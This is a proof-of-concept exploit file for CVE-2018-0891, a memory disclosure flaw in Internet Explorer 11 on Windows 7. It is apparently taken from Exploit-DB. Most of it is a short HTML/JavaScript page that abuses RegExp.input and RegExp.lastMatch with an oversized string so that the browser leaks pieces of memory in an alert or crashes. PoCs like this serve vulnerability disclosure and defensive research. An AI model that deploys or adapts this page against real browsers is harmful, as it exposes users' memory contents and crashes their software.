CVE-2018-0891

CVE-2018-0891.html

/*
There is a vulnerability in Internet Explorer that could potentially be used for memory disclosure.
 
This was tested on IE11 running on Window 7 64-bit with the latest patches applied.
 
PoC:
 
=========================================
*/
 
<!-- saved from url=(0014)about:internet -->
<script>
 
function main() {
  RegExp.input = {toString: f};
  alert(RegExp.lastMatch);
}
 
var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join("");
 
function f() {
  String.prototype.match.call(input, "bbbbbbbbbb");
}
 
main();
 
</script>
 
/*
=========================================
https://www.exploit-db.com/exploits/44312/?rss&utm_source=dlvr.it&utm_medium=twitter
Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed
*/